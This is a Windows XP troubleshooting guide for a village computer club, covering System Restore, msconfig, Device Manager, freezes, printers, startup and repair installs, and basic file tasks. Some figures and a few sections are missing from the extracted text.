Golden Lakes Village

Computer Club

Troubleshooting Guide


Prof. Beverly Rosendorf
LaGuardia Community College City University of New York Computer Scientist, Network Administrator Published Text Books: Introduction to Job Control Language IBM OS JCL and Utilities, Cobol The Easy Way, Comparative Operating Systems

Table of Contents and Index
General problems …………………………………………………………….2 System Restore………………………………………………………………..3 MSCONFIG…………………………………………………………………..4 Troubleshooting with the Device Manager…………………………………...8 When the Computer Freezes………………………………………………….11 Using the Windows Task Manager …………………………………………..14 Printer Problems ……………………………………………………………...16 Computer Won’t Start ………………………………………………………..18 Disk Errors and Hardware Problems……….…………………………………20 Repairing Windows XP ………………………………………………………21 Installing Windows XP ……………………………………………………….25 Windows Desktop and Functions……………………………………………..39 Creating a Shortcut on the Desktop…………………………………………...42 Searching for a File or Folder…………………………………………………43 Shutting Down Windows XP Fast ……………………………………………50 Killing Applications Instantly…………………………………………………52 Speeding up your Start Menu………………………………………………….53 Add Items to the Send to Menu………………………………………………..54 Automatically Delete Files ……………………………………………………55 Copying and Moving Files…..………………………………………………..56 Renaming and Deleting Files………………………………………………….60 Burning CDs using Windows XP …………………………………………….62 Changing Date and Time……………………………………………………...64 Regional Options……………………………………………………………...66 Mouse Properties ……………………………………………………………..68 Adding Hardware……………………………………………………………..69 Internet Troubleshooting………………………………………………….......71 Disable Internet Error Reporting…………………………………...................73 Dealing with Pop-Ups…………………………………………………………74 Making web pages larger to read ……………………………………………..78 The Registry…………………………………………………………………...80 Fixing the Internet Connection………………………………………………..86 Windows Tips and Tricks……………………………………………………..88 Disable Error Reporting……………………………………………….88 Onscreen Keyboard……………………………………………………89 Services to Disable……………………………………………………89 Opening Windows Explorer to the Directory you want………………91 Viruses…………………………………………………………………………92 Checking for Disk Errors………………………………………………………95 Disk Cleanup and Defragging…………………………………………………96 Deleting “undeletable files”……………………………………………………97 Using the Windows XP Search Tool…………………………………………..99 How to Diagnose Telephone Modem Problems…………………………….104


Scheduling Automatic Disk Cleanups………………………………………105 Keystroke Shortcuts for Windows XP ……………………………………...110


Windows XP Troubleshooting

Boot-up Fails to Start
If there are no lights on the computer: 1. Check the power outlet. 2. Check to make sure the surge protector is on. 3. Check the outlet to make sure there is a power source

Monitor doesn’t go on
1. Make sure the power is on and the outlet is working 2. If the power go out intermittently, make sure the power cord into the monitor is tight

Beep Codes
Usually there is one beep when you power up the computer. Sometimes there is are no beeps but if there are other kinds of beeps, it indicates that something has a problem. When you boot up and you hear: 2 – 4 beeps: 5 beeps 6 beeps other beeps Memory problem CPU problem mainboard fault usually mainboard or CPU problem

Fixing with System Restore
If there are problems after you install or uninstall something or download something, you want to return to a time when the computer was working better, you may want to use system restore. 1. Restart the computer but keep tapping the F8 key until you see the Windows Advanced Options menu 2. Select Safe Mode 3. Click the Start Button 4. Select All Programs 5. Select Accessories 6. Select System Tools 7. Select System Restore 8. Choose a date before the problem


Use System Restore
After you've decided to use System Restore to revert your system to a previous state, start the System Restore Wizard and follow the prompts. To use the System Restore Wizard, make sure you're logged on as an administrator, and then follow these steps: 1.Click Start, point to All Programs, point to Accessories, point to System Tools, and then click System Restore. 2.On the Welcome screen, click Restore my computer to an earlier time, and then click Next. 3.On the Select a Restore Point page, select the date from the calendar that shows the point you'd like to restore to, as shown in Figure 2, and then click Next.

Figure 2 4.On the Confirm Restore Point Selection page, verify that the correct restore point is chosen, and then close any open programs. 5.Click Next if you are ready to proceed or click Back to change the restore point. 6.The computer will shut down automatically and reboot. On reboot, you'll see the Restoration Complete page, and then click OK. After reviewing the stability of your system, you can choose another restore point or undo this restoration. Just open System Restore and make the appropriate choice. After you use System Restore, you'll have an additional task, Undo my last restoration, on the System Restore Welcome page. Remember that you'll have to reinstall any programs that were installed after the restore point. If System Restore doesn't work in Normal Mode, it might work in Safe Mode. To use System Restore in Safe Mode, press the F8 key during reboot and choose Safe Mode. When your computer starts in either Safe Mode or Normal Mode, System Restore can be 3

used to capture a working previous state. System Restore can't be opened unless the system is bootable into one of these modes.

Using the System Configuration Utility
The Windows System Configuration Utility (Msconfig) is a system tool that allows you to temporarily change the way Windows starts by disabling startup programs and services. We continue the discussion of controlling what programs are allowed to run automatically that was begun on the previous page. Here we show how to use Msconfig.

This useful accessory is present in Windows 98/Me/XP but is not listed in the Start|Programs menu. The easiest way to access it is to go to Start|Run and enter “msconfig” (without quotes).

In the window that comes up there is a tab “Startup” .


Click that and you get a list of things that are loaded automatically when you turn on your computer. On the left of each entry is a check box. Unchecking this box will remove the item from startup at the next boot of your computer. It does NOT remove the item from your computer. In the figure below , you can see examples of some unnecessary functions such as Quicken "Billminder" that have had their checks removed. The user can still choose to run the process whenever desired. Also, if you find that you really do want the thing to load at startup, you can always put the check back.


Many PC users are reluctant to make use of Msconfig, however, because they are afraid of removing something essential. As a general rule, it is my personal opinion that very few programs are essential at startup. Every system is different but power management, system tray, anti-virus program, and firewall are pretty close to all that many people need. I feel that most people will miss nothing by removing any references to Quicken, Microsoft Office, RealPlayer, or AOL. Fortunately, there are excellent references that explain the function of almost anything you are likely to see in the startup list and give recommendations on whether it is safe to remove. Several are given on the previous page. In addition to the program modules that may be running at startup, there are a variety of processes called "services" and there is also a tab for displaying these, as shown in the figure below.

There are many essential Windows services and it is may be convenient to look at only the non-Microsoft services. There is a box where a check can be placed by the setting "Hide All Microsoft Services", as shown below.


You may notice that there are a lot of services from Symantec, which is one reason why Norton software (and other anti-virus programs) can measurably slow down your machine.(Personally, I disable many of these but the average PC user should not follow my example without understanding their function and unless you take all the other precautions that I follow to defend my machine.) Actually, for the purpose of managing services, it may be better to use the "Services Console" and that is discussed on the next page.

Update from Microsoft
For systems with Windows XP SP2, Microsoft has released an update to Msconfig. It is available here. The update adds a Tools tab that allows further diagnostic tools to be launched from Msconfig. The new version of Msconfig is shown below with the new tab "Tools" selected.


Troubleshooting Hardware with the Device Manager
Windows XP works with countless different printers, scanners, digital cameras, and other devices. It does so with the help of drivers, unique software programs that help your operating system communicate with individual pieces of hardware. If your computer starts to freeze, crash, or if a hardware device stops working, you can troubleshoot the problem with the Device Manager. Device Manager shows you how the hardware on your computer is installed and configured, and how the hardware interacts with your computer's programs. You'll typically use Device Manager to check the status of your hardware and update device drivers on your computer. Advanced users who have a thorough understanding of computer hardware might also use Device Manager's diagnostic features to resolve device conflicts and change resource settings. Note You may need to be logged on as an administrator or be a member of the Administrators group in order to use some or all of the features in Device Manager. If your computer is connected to a network, network policy settings may also prevent you from completing this procedure.


To access Device Manager: •Right–click My Computer, click Manage, and then click Device Manager. The Device Manager opens as shown in Figure 1 below.

Figure 1. Opening the Device Manager To view the status of a device: 1.Open Device Manager. 2.Double–click the type of device you want to view. 3.Right–click the specific device you want, and then click Properties. 4.On the General tab, under Device status is a description of the device status, as shown in Figure 2 below.


Figure 2. Checking status of a device If the device is experiencing a problem, you’ll see the type of problem in the Device status box. You might also see a problem code and number and a suggested solution. If you call a support line, this number can be useful for determining and diagnosing the problem. For information on how to resolve hardware device problems, click Troubleshoot to start the Hardware Troubleshooter. To install a new driver from Device Manager: 1.Open Device Manager. 2.Double-click the type of device you want to update or change. 3.Right-click the specific device driver you want to update or change. 4.Click Update Driver to open the Hardware Update Wizard. Follow the wizard instructions. Note If you install a new driver and your system becomes unstable, you can easily uninstall the driver and reinstall the old driver with Driver Rollback. For more information, read How to Roll Back a Device Driver. To uninstall a device:


1.Open Device Manager. 2.Double–click the type of device that you want to uninstall. 3.Right–click the specific device you want to uninstall, and then click Uninstall. 4.In the Confirm Device Removal dialog box, click OK. When you're done uninstalling the device, turn off your computer, and remove the device from the computer. Note Many devices on the market today are Plug and Play, which means when you plug the device in your computer will recognize it and automatically prompt you to install the drivers you need. You won't usually use Device Manager to uninstall a Plug and Play device. Simply disconnect the Plug and Play device from your computer. You might have to restart your computer. Check the device manufacturer's instructions for more information. Product documentation For further information about using Device Manager, see the Windows XP documentation. To access documentation while using Device Manager, press F1 on your keyboard to go directly to the Device Manager section.

What To Do When . . .Your PC Freezes
Take These Steps To Defrost Your PC
You're merrily plugging away at your computer when suddenly everything stops. Your system freezes in its tracks and, try as you might, you can't get it to respond. You have no choice but to shut down the system, which means you'll lose all your unsaved data. This is a vexing and all-toocommon computer problem. Nearly every system will lock up now and again, but if your system freezes on a regular basis, you need to pinpoint the cause. This is usually easier said than done because there are so many potential sources of PC freezes. The freezes could be the result of either a hardware or software problem, or possibly a combination of the two. But with a little perseverance and patience (and perhaps a lot of experimentation), you should be able to determine what's causing your system to misbehave. We'll show you how. The first thing you should do when your system freezes is restart it and see what happens next. Almost no PC is immune to the occasional lockup, so it's entirely possible that a particular occurrence may be the exception rather than the rule. If


you restart your system and suffer no further freezes or ill effects, chalk it up to an unusual glitch, count your blessings, and don't worry about it. If your system suffers from PC freezes on a regular basis, even after you reboot your system, clearly there's something going on inside your PC. If the freezes appear to occur randomly and do not seem to be associated with a particular program, chances are your PC's hardware is the source of the problem. Hardware Troubles. There are several ways your system's hardware can contribute to or cause PC freezes, so let's look at some likely possibilities and ways to resolve them. Feeling the heat. Most users don't think about the amount of heat their PCs generate. Processors and other components continue to get smaller, and smaller chips generate more heat. The heat from your PC's internal components builds up inside your system's case, and if it gets too warm in there, your PC can freeze up. Your system's internal components may even become damaged if they're exposed to too much heat for too long. You can combat excessive heat problems by making sure your PC is properly ventilated. Make sure your system is not pressed against a wall or a desk, as this can stifle airflow from the case. Every PC case should have at least one exhaust fan, or barring that, a few exhaust holes in the case that hot air can pass through. One of the easiest ways to reduce heat inside your PC's case is to replace the system's IDE (Integrated Device Elec-tronics) and floppy diskette drive ribbon cables with rounded cables. Rounded cables usually cost no more than $10 apiece and are easy to install. Simply remove the ribbon cables from your hard drive, floppy diskette drive, and optical drive (or drives, as the case may be) and plug in the rounded cables. Rounded cables allow for much better airflow inside the case, which will help keep your components cool. You also can add a couple of fans to your system's case, which will draw in more cool air and help expel hot air. Case fans, like rounded cables, are inexpensive. Although a case fan is a little more difficult to install than rounded IDE cables, it's not beyond the ability of most users. Check your drives. If your system is cool and well ventilated, you can assume that excess heat is not at fault for your system's freezes. Old drivers can be the source of many PC problems, including PC freezes, so it's a good idea to update hardware drivers on a regular basis. Windows users can use the Windows Update feature to check for new hardware drivers. You should also go to the support Web page for your PC manufacturer to check for driver updates. If you've built your own system, you should stop by the Web site of each manufacturer of the major components (including the


motherboard, video card, and sound card, if applicable) in your system to check for updates. Maybe it's the memory. Your system's memory is another usual suspect when PC freezes occur, so we'll check that next. If you have two memory modules installed in your system, remove one of them and see if your system continues to freeze up. If it does, replace the memory module currently in use with the one you removed earlier and try again. If your system starts working properly, you know that the memory module you removed is at fault and should be replaced. If you still experience PC freezes after using both memory modules independently, the freezes are probably the result of another problem. It's very unlikely that both memory modules are defective. If you only have one memory module installed in your system, you'll have to secure a second one to determine if the module you're using is defective. There's also a possibility that you're simply not using enough memory. If your system only uses 64MB of RAM, and you like to run a lot of programs at once, you should expand your memory to at least 128MB. In the best-case scenario, you'll have a spare memory module or a second PC that uses the same type of memory as the system you're troubleshooting (for example, PC2700 DDRSDRAM as opposed to PC133 memory), but that isn't always the case. Try to borrow a compatible memory module if possible, but if that's not an option, you may have to buy another memory module and replace the one your system is currently using. Check your power supply. We'll suggest one more hardware-based fix for PC freeze-up problems. An inadequate power supply is an oft-overlooked source of PC frustrations. Most manufacturers outfit their systems with relatively inexpensive OEM power supplies that may have enough juice to power your system when they ship it to you, but may not provide enough power when you add more components to your system. Underpowering leads to system instability. You can buy a beefier, high-quality power supply for about $60 to $90. A 350watt power supply should be adequate for most home users, and a 450-watt power supply should provide more than enough energy even for extreme computing needs. Software On Ice. Software problems are pretty common events, but most software issues usually result in an error message that provides some clue as to the nature of the problem. You won't have that advantage when your PC freezes, but with a little detective work you can usually pinpoint the software issue that's causing your system to lock up. For example, if you notice that your PC freezes whenever you use a specific


application and doesn't freeze when you're not using that application, it's pretty clear where the problem lies. The program may have a conflict with another program you're running in the background, or it may have a conflict with one of your system's hardware components. When you narrow down freeze-ups to a particular program, you should go to the software manufacturer's Web site and download the latest program updates and patches for the software. The company's support Web page may also have some specific information regarding the program and PC freezes and tips for how to resolve the problem. You may also want to shut down programs that are running in the background. Programs running in the background can occasionally interfere with a program you're currently using. Close any programs you're not using and see if your system remains stable. If it does, you may have to update the programs you frequently run in the background, as well as the program that seems to be the source of the PC freezes. There are times when a particular program simply does not get along with a specific brand of hardware. As we mentioned earlier, you should update your hardware drivers regularly. Hardware and software manufacturers usually have information on their support Web pages regarding conflicts between specific hardware components and programs and will either provide a downloadable patch or step-by-step instructions to resolve those problems. Keep Your PC Freeze-Free. We've mentioned a couple of maintenance tips that may help you resolve PC freezes, namely keeping your hardware drivers and software updated. If you do this on a regular basis, you can prevent some PC freezes from occurring in the first place. You should also update Windows regularly to keep your system in top shape. Go to and click Windows Update on the Microsoft home page. Microsoft will scan your system and provide a list of updates you can download for your version of Windows. You should also defragment your PC on a regular basis. Whenever you use your PC, your system moves files from place to place on your hard drive. After awhile, the files can become so scattered across your hard drive that your PC's performance will suffer. Defrag-menting your PC will fix that problem by realigning your system's files in a neat and orderly fashion. However, if you use Windows XP, your system may, ironically enough, freeze up when you run the OS's disk defragmenter utility. If you experience this problem, restart your system in safe mode and then run the defragmenter utility. It seems as though there are nearly limit-less potential causes for PC freezes, which is why troubleshooting this problem can make you pull your hair out.


Unlike many PC issues, either hardware or software (or a combination of the two) can result in a freeze. But you can thaw out PC freezes if you follow our tips.

How to use Windows Task Manager
This article describes how to use Windows Task Manager. It also explains how to perform some frequently used procedures, such as how to start programs, end processes, and monitor the computer's performance. Task Manager displays information about the performance of your computer and the programs and processes that are running on your computer. You can use Task Manager to start programs, start or end processes, and view a dynamic display of your computer's performance.

How to Start Task Manager
To start Task Manager, do any of the following: Press CTRL+ALT+DELETE, and then click Task Manager. • -orPress CTRL+SHIFT+ESC. • -or• Right-click an empty area of the taskbar, and then click Task Manager.

How to Quit, Switch to, or Start a Program
The Applications tab displays the status of the programs that are running on the computer. To quit, switch to, or start a program, follow these steps: 1. Click the Applications tab. Do one of the following, as appropriate to the action that you want to perform: Quit a program. To quit a program, click the program that you want to quit, and then click End • Task. 2. NOTE: When you quit a program in this manner, any unsaved data in that program is lost. Switch to another program. • To switch to another program, click the program that you want to switch to, and then click Switch To. Start a program.


To start a program, click New Task. In the Create New Task dialog box, click Browse, locate and select the program that you want to start, click Open, and then click OK. NOTE: This procedure is quite similar to starting a program by using the Run command on the Start menu.

How to End a Process
The Processes tab displays information about the processes that are running on the computer. To end a process, follow these steps. NOTE: Proceed with caution when you end a process. If you quit a program in this manner, data that has not been saved will be lost. If you end a system process, a system component may no longer function properly. 1. Click the Processes tab. Do one of the following, depending on the action that you want to perform: If you want to end a single process, click the process that you want to end, and then click End Process. • 2. -orIf you want to end a process and all processes directly or indirectly related to it, • right-click the process that you want to end, and then click End Process Tree.

How to Monitor Your Computer's Performance
Click the Performance tab to view a dynamic overview of the performance of your computer, including the following measures: • Graphs for CPU and memory usage. • The total number of handles, threads, and processes that are running. • The total number of kilobytes (KBs) used for physical, kernel, and commit memory.

My Printer Won't Print
There's nothing more frustrating than a printer that botches the job. The printer might completely refuse to print a document, or it may print only a portion of the document or print a bunch of strange looking symbols instead of the text or graphic you were expecting. If you run into printer problems, you probably have to do more fiddling than Nero. Look for the following:

Is your printer plugged in and turned on? Make sure your printer is plugged in. If it is plugged into a power strip or surge suppressor, make sure the power strip or


• • •

• •

surge suppressor is turned on. If the printer has a power switch or button, turn it on. (Many printers have no power switch.) Does your printer have paper? Is the paper tray inserted properly? Is the printer's online light on (not blinking)? If the online light is off or blinking, press the On Line button to turn on the light. Is your program set to print to a file? Many Print dialog boxes have a Print to File option, which sends the document to a file on your disk instead of to the printer. Make sure this option is not checked. Is the print fading? If so, your printer might need a new toner or ink cartridge. If your inkjet cartridge has plenty of ink, check your printer manual to determine how to clean the print head. Inkjet cartridges have some sensitive areas that you should never clean, so be careful. If you have an inkjet printer, check the print head and the area next to the print head for tape, and remove the tape. Ink cartridges usually come with two pieces of tape on them. You must remove both pieces before installing the cartridge. Is your printer marked as the default printer? In My Computer, double-click the Printers icon. Right-click the icon for your printer and make sure that Set as Default is checked. If there is no check mark, select Set as Default. Is the printer paused? Double-click the Printer icon in the taskbar, open the Printer menu and make sure Pause Printing is not checked. If there is a check mark, click Pause Printing. Is the correct printer port selected? In My Computer, double-click the Printers icon and double-click the icon for your printer. Click the Details tab and make sure the correct printer port is selected—LPT1 in most cases. Did you get only part of a page? Laser printers are weird; they print an entire page at one time, storing the entire page in memory. If the page has a big, complex graphic image or a lot of fonts, the printer might be able to store only a portion of the page. The best fix is to get more memory for your printer. The quickest fix is to use fewer fonts on the page and try using a less complex graphic image. Is it a printer problem? If you have a standard printer that's connected to your computer's parallel port, try printing a simple file list outside of Windows. Go to the DOS prompt (choose Start, Programs, MS-DOS prompt or Start, Programs, Accessories, MS-DOS prompt), type dir > lpt1 and press Enter. This prints the current directory list. If it prints okay, the problem is in the Windows printer setup. If the directory does not print or prints incorrectly, the problem probably is the printer. (Many printers have a button combination you can press to have the printer perform a self test. Check your printer manual.) If error messages keeps popping up on your screen, Windows might be sending print instructions to the printer faster than your printer can handle them. In My Computer, double-click the Printers icon, right-click your printer's icon, and choose Properties. Click the Details tab and increase the number of seconds in the Transmission Retry text box. Use the CD that came with the printer or download the printer driver from the manufacturer and reinstall the print driver. To do this, plug in the printer, when windows finds it as new hardware, put in the cd and follow instructions or if you downloaded it, execute the program form your desktop and let it find your printer.


How to fix a computer that won't start
A computer that won't start is frustrating, but the problem is often easy to fix. The steps you take to troubleshoot the problem depend on your symptoms. Because different problems require different troubleshooting steps, it’s not necessary to read all of these instructions. Instead, click on the link that best describes your problem: •You log on by clicking your user account, but then you can't open any programs. •Your computer displays the Windows logo, but fails before you can log on. •You see "Non-system disk or disk error," or a similar message. •Your computer stops immediately after you turn it on or displays nothing on your monitor. •Your computer does not turn on. •You need to perform a repair installation of Microsoft Windows XP.

How to troubleshoot logon problems
After you click your user account or type your password, immediately press the SHIFT key and hold it until your desktop and taskbar are visible. Holding down the SHIFT key stops programs from loading automatically, and it is probably one of these programs that is causing your problem. Once you are able to log on successfully, you can change the programs that run automatically and remove the program that is causing the problem.

How to troubleshoot Windows startup problems
Sometimes Windows begins to load but then stops responding during the startup process. In most cases, the problem is a new piece of hardware, a new program, or a corrupted system file. Follow the instructions below to troubleshoot the problem. Try to start your computer after each step. Continue to the next step only if Windows continues to fail during startup. To troubleshoot startup problems 1.Restart your computer. Immediately after the screen goes blank for the first time, press the F8 key repeatedly. The Windows Advanced Options menu appears. If the menu does not appear, restart your computer and try again. Use the cursor keys on your keyboard (your mouse will not work) to select Last Known Good Configuration, and then press ENTER. Windows XP attempts to start.


2.If you recently installed new hardware, shut down your computer and disconnect the hardware. Then, restart Windows XP and troubleshoot your hardware to get it working properly. 3.Restart your computer and press F8 again. This time, choose Safe Mode and press ENTER. Windows XP attempts to start in Safe Mode, which does not automatically start programs and hardware, and displays very primitive graphics. If Windows XP starts successfully in Safe Mode, you can remove any programs or updates you have recently installed. Then, restart your computer normally.

4.Additional troubleshooting is possible, but it can be complicated and may require reinstalling Windows XP. Contact technical support for further troubleshooting assistance. Alternatively, you can perform a repair installation of Windows XP. It might solve your problem. However, you will lose some settings and need to reinstall updates.


How to troubleshoot disk errors
The "Non-system disk or disk error" message means that your computer could not find Windows. Follow the steps below and try starting your computer after each step. Continue to the next step only if Windows continues to fail during the startup process. To troubleshoot disk errors 1.Your computer might be trying to load Windows from removable media rather than from the hard disk inside your computer. Remove any floppy disks, CDs, DVDs, USB flash drives, digital cameras, and memory cards. 2.A portion of your hard disk may be corrupted. You might be able to fix the problem by performing a repair installation of Windows XP. 3.Your hard disk may have failed. Contact technical support for further troubleshooting assistance. If your hard disk has failed, it will need to be replaced. After you have replaced your hard disk, you should restore your files from a backup. Top of page

How to troubleshoot hardware problems
If your computer displays an error message within a few seconds of starting, you probably have a hardware configuration problem. If you see the Windows logo, you need to troubleshoot startup problems. If you see a "Non-system disk or disk error" message, you need to troubleshoot disk errors. If you don't even see the startup screen, you likely have a hardware problem.

Follow these steps to troubleshoot a hardware problem that prevents your computer from starting to load Windows. After each step, restart your computer and attempt to load Windows. Continue to the next step only if Windows continues to fail to load.


To troubleshoot hardware problems 1.If your computer beeps when you start it but does not display anything on your monitor: a. Disconnect and reconnect your monitor from your computer. b. Verify that your monitor's power cord is connected and that your monitor is turned on. c. If possible, connect your monitor to a different computer to make sure that your monitor works properly. d. If your monitor works but your computer beeps and displays nothing, your video adapter has probably failed. If your computer is under warranty, contact your computer manufacturer for support. If your computer is not under warranty, and you are comfortable opening your computer's case and replacing internal hardware, purchase and install a compatible replacement video adapter. Otherwise, contact a service center for assistance. While replacing a part is a nuisance and may be costly, your documents, pictures, and e-mail should be safe and will be available when your computer is fixed. 2.If you see an error message that indicates that a keyboard is not present or a key is stuck, turn off your computer and reconnect your keyboard. If the problem continues, replace your keyboard. 3.Sometimes your computer won't start because your computer is not compatible with a hardware accessory. If you have recently added a new hardware accessory, turn your computer off, remove the accessory, and restart your computer. 4.Remove all hardware accessories except your keyboard, mouse, and monitor. If your computer starts successfully, shut down Windows, turn off your computer, and add one hardware accessory. Then, restart your computer. If your computer fails to start, the hardware accessory you most recently added is causing a problem. Remove the hardware and contact the hardware vendor for support. You can reconnect other hardware accessories. 5.You may have a loose connector. Turn off your computer, remove all connectors from the outside of your computer, and then carefully push the connectors back in. Look for stray wires, bent pins, and loosely fitting connectors. 6.If you are comfortable opening your computer's case, shut down your computer, unplug the power, and open your computer’s case. Remove and reconnect all cables. Remove and reconnect all cards inside your computer, including your computer’s memory chips. Reassemble your computer before attempting to start it again. 7.If your computer still doesn't start, your motherboard, processor, memory, or graphics card may have developed a problem. Contact technical support for further troubleshooting assistance. While failed hardware can be frustrating, your documents, pictures, and e-mail should be safe and will be there when your computer is fixed. Top of page


How to troubleshoot a computer that won't turn on
If your computer does not turn on—you press the power button and no lights appear, and there are no beeps or other sounds—you should: 1.Verify that your computer's power cord is connected. 2.Unplug your computer and connect a different electrical device (such as a lamp, a fan, or a radio) into the same electrical outlet. If the device does not work, the problem is the electrical outlet, not the computer. 3.Contact technical support for further troubleshooting assistance. Most likely, the computer's power supply has failed. While replacing a part is a nuisance and may be costly, your documents, pictures, and e-mail should be safe and will be there when your computer is fixed. Top of page

How to perform a repair installation of Windows XP
Performing a repair installation of Windows XP can fix many serious startup problems. While you should not lose any of your important documents, you might lose settings, and you will need to reinstall many updates. Before performing a repair installation of Windows XP, you should have both your Windows XP CD and your product key available. To perform a repair installation of Windows XP 1.Insert your Windows XP CD into your computer. 2.Restart your computer. If prompted, press a key to start from the CD-ROM.


3.When the Welcome to Setup page appears, press ENTER on your keyboard.

4.On the Windows XP Licensing Agreement page, read the licensing agreement. Press the PAGE DOWN key to scroll to the bottom of the agreement. Then, press F8.


5.When prompted, press R to have Windows XP attempt to repair Windows by reinstalling important Windows components.


The repair and reinstallation process might take more than an hour. Eventually, Setup prompts you to answer questions just as if you were installing Windows XP for the first time. For detailed instructions, read Install Windows XP.

Installing Windows XP Installation process
Installing Windows XP can take up to two hours. To make the process more manageable, it has been broken up into several sections. When you are ready, install Windows XP: •Part 1: Begin the installation •Part 2: Continue the installation •Part 3: Complete the installation Part 1: Begin the installation 1.Insert the Windows XP CD into your computer and restart your computer. 2.If prompted to start from the CD, press SPACEBAR. If you miss the prompt (it only appears for a few seconds), restart your computer to try again.

3.Windows XP Setup begins. During this portion of setup, your mouse will not work, so you must use the keyboard. On the Welcome to Setup page, press ENTER.


4.On the Windows XP Licensing Agreement page, read the licensing agreement. Press the PAGE DOWN key to scroll to the bottom of the agreement. Then press F8.

5.This page enables you to select the hard disk drive on which Windows XP will be installed. Once you complete this step, all data on your hard disk drive will be removed and cannot be recovered. It is extremely important that you have a recent backup copy of your files before continuing. When you have a backup copy, press D, and then press L when prompted. This deletes your existing data. 6.Press ENTER to select Unpartitioned space, which appears by default.


7.Press ENTER again to select Format the partition using the NTFS file system, which appears by default.

8.Windows XP erases your hard disk drive using a process called formatting and then copies the setup files. You can leave your computer and return in 20 to 30 minutes.


Part 2: Continue the installation 9.Windows XP restarts and then continues with the installation process. From this point forward, you can use your mouse. Eventually, the Regional and Language Options page appears. Click Next to accept the default settings. If you are multilingual or prefer a language other than English, you can change language settings after setup is complete.


10.On the Personalize Your Software page, type your name and your organization name. Some programs use this information to automatically fill in your name when required. Then, click Next.

11.On the Your Product Key page, type your product key as it appears on your Windows XP CD case. The product key is unique for every Windows XP installation. Then, click Next.


12.On the Computer Name and Administrator Password page, in the Computer name box, type a name that uniquely identifies your computer in your house, such as FAMILYROOM or TOMS. You cannot use spaces or punctuation. If you connect your computer to a network, you will use this computer name to find shared files and printers. Type a strong password that you can remember in the Administrator password box, and then retype it in the Confirm password box. Write the password down and store it in a secure place. Click Next.


13.On the Date and Time Settings page, set your computer’s clock. Then, click the Time Zone down arrow, and select your time zone. Click Next.

14.Windows XP will spend about a minute configuring your computer. On the


Networking Settings page, click Next.

15.On the Workgroup or Computer Domain page, click Next.


Part 3: Complete the installation 16.Windows XP will spend 20 or 30 minutes configuring your computer and will automatically restart when finished. When the Display Settings dialog appears, click OK.

17.When the Monitor Settings dialog box appears, click OK.


18.The final stage of setup begins. On the Welcome to Microsoft Windows page, click Next.

19.On the Help protect your PC page, click Help protect my PC by turning on Automatic Updates now. Then, click Next.


20.Windows XP will then check if you are connected to the Internet: •If you are connected to the Internet, select the choice that describes your network connection on the Will this computer connect to the Internet directly, or through a network? page. If you’re not sure, accept the default selection, and click Next.


•If you use dial-up Internet access, or if Windows XP cannot connect to the Internet, you can connect to the Internet after setup is complete. On the How will this computer connect to the Internet? page, click Skip.

21.Windows XP Setup displays the Ready to activate Windows? page. If you are connected to the Internet, click Yes, and then click Next. If you are not yet connected to the Internet, click No, click Next, and then skip to step 24. After setup is complete, Windows XP will automatically remind you to activate and register your copy of Windows XP.


22.On the Ready to register with Microsoft? page, click Yes, and then click Next.

23.On the Collecting Registration Information page, complete the form. Then, click Next.


24.On the Who will use this computer? page, type the name of each person who will use the computer. You can use first names only, nicknames, or full names. Then click Next. To add users after setup is complete or to specify a password to keep your account private, read Create and customize user accounts.


25.On the Thank you! page, click Finish.

Congratulations! Windows XP setup is complete. You can log on by clicking your name on the logon screen. If you’ve installed Windows XP on a new computer or new hard disk drive, you can now use the File and Settings Transfer Wizard to copy your important data to your computer or hard disk drive. After logon, take a few minutes to validate your copy of Windows. Validation gives you access to hundreds of free downloads from the Microsoft Download Center. To learn about the new features Windows XP provides, click the Start button, click All Programs, click Accessories, and then click Tour Windows XP.




Click the start button to get the main menu.



To create a shortcut on the Windows XP desktop from the start menu, do the following: Click the Start button Select All Programs Click Accessories Right-click Windows Explorer to open the short cut menu Click Desktop (to create short cut) And the shortcut now appears on the desktop!

You can customize the Start menu for easy access to your favorite programs. The left side of the Start menu is separated into two parts. The programs displayed above the separator line comprise the pinned items list; the programs below the separator line comprise the frequently used programs list. The programs on the pinned items list remain there and are always available. By default, Netscape and Netscape Mail are currently included, but


you can change these to a different browser and e-mail reader. You can also add more programs to this list. To display a program in the pinned items list: 1. On the Start menu, click All Programs, then Standard Software. 2. Right-click the selected program from the Standard Software list. Click Pin to Start menu. The program will appear on the Start menu. 3. You can remove a program from the pinned items list by right-clicking the program and then clicking Unpin from Start menu. To change your Internet browser and e-mail program: 1. Right-click the Start menu button, then select Properties. The Taskbar and Start Menu properties dialog box will appear. 2. Select the Start Menu tab. Select the Start menu radio button, then click the Customize button. The Customize Start Menu dialog box will appear. 3. Select the General tab. In the Show on Start menu box, select Internet: and Email:, then select the appropriate browser or reader from the pull-down menus. Click OK. NOTE: Changing your Internet and E-mail options in the Start menu does not change the behavior of the default browser.

To search for a file or folder:
1. Click Start, and then click Search. 2. In the Search Companion dialog box, click All files and folders. 3. Type part or all of the name of the file or folder, or type a word or phrase that is in the file. 4. In the Look in box, click the drive or drives, folder, or network location that you want to search. 5. Choose one of the following options: 1. Click When was it modified to look for files that were created or modified on or between specific dates. 2. Click What size is it to look for files that are specific size. 3. Click More advanced options to specify additional search criteria. 6. Click Search. Show hidden files and folders (XP) Views: 9,502 / Last Updated: September 21, 2002 Double Click on My Computer.


Click on Tools > Folder Options... in the menus.

Click on the View tab. Select Show hidden files and folders under Hidden files and folders. Click the OK button. Note: If you are an advanced user you may want to remove the check from Hide protected operating system files.




To start looking at your files, Click the Start menu, select My Computer and you will see the following:




Click “Show the contents of this drive”


Double-click Documents and Settings Double-click the user folder Double-click My Documents Right-click one of the files and click Open

Shutdown Windows XP Fast
While Windows XP is certainly no slouch in the speed stakes it does, like previous versions, have a tendency to drag its heels when it comes to shutting down. The reason for this is that the system has to close down all of the services running in the background. Unfortunately, they don’t always close down as quickly as they should. To give them time to do so, Win 2k is configured to wait a specified period before shutting down. The amount of time given is set in the registry and by modifying it Windows can be forced to shutdown more quickly. This is done as follows:



Speed Up Your Start Menu





COPYING Files in Windows XP
To copy files and folders to a CD

1. Insert a blank, writable CD into the CD recorder.

2. Open My Computer.

3. Click the files or folders you want to copy to the CD. To select more than one file, hold down the CTRL key while you click the files you want. Then, under File and Folder Tasks, click Copy this file, Copy this folder, or Copy the selected items. If the files are located in My Pictures, under Picture Tasks, click Copy to CD or Copy all items to CD, and then skip to step 5.

4. In the Copy Items dialog box, click the CD recording drive, and then click Copy.

5. In My Computer, double–click the CD recording drive. Windows displays a temporary area where the files are held before they are copied to the CD. Verify that the files and folders that you intend to copy to the CD appear under Files Ready to be Written to the CD.

6. Under CD Writing Tasks, click Write these files to CD. Windows displays the CD Writing Wizard. Follow the instructions in the wizard.



